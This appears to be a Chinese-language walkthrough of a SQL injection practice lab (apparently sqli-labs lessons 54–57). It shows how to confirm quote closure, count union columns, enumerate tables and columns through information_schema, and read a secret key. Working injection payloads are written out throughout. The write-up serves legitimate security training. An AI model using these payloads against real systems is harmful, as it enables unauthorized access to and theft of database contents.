1. 题目分析
经过不懈的努力,终于来到了最后一部分。首先看第一关:
题目要求是让我们获取到一个密钥,然后提交;但是我们查询的次数不能超过10次,否则就会重置这个密钥。
而且这个密钥是存在于challenges
这个数据库中。
2. 注入过程
因为条件是超过10就会重置密钥,也不是超过10次就封你的IP什么的。对于我们的影响不是特别大。其实可以忽略这个条件。该做的检测做一下,等到确定了详细的信息,以后直接查询即可。
-
首先要判断
id
的类型。
通过/?id=1%27 and 1=1 --+
和/?id=1%27 and 1=2 --+
判断出来id
是被单引号包裹的。 -
检测是否可以进行union查询。
我们可以利用order by
来检测查询字段,这里我直接用?id=1%27 union select 1,2,3 --+
试一下,结果证明是三个查询字段。
-
查询
challengs
数据库下有哪些数据表(select group_concat(table_name) from information_schema.tables where table_schema=“challenges”)
可以看到challenges
下只有一张数据表。就是sqc20s3td8
(这个名字是随机生成的,当你查询的次数超过10次的时候就会变) -
查询
sqc20s3td8
表下有哪些字段(select group_concat(column_name) from information_schema.columns where table_schema=“challenges” and table_name=“sqc20s3td8”)
可以看到有4个字段:id,sessid,secret_SUA6,tryy
,其中secret_SUA6
是随机生成的,并且会变。也是存储密钥的字段。 -
查询密钥并提交
(select group_concat(secret_SUA6) from challenges.sqc20s3td8)
这个就是我们要提交的密钥。复制下来输入到下放的文本框里提交。
最后显示congrats you nailedd it
表示提交成功。
54-57的思路是一样的,只是id
的类型稍有区别,需要使用不同的闭合方式。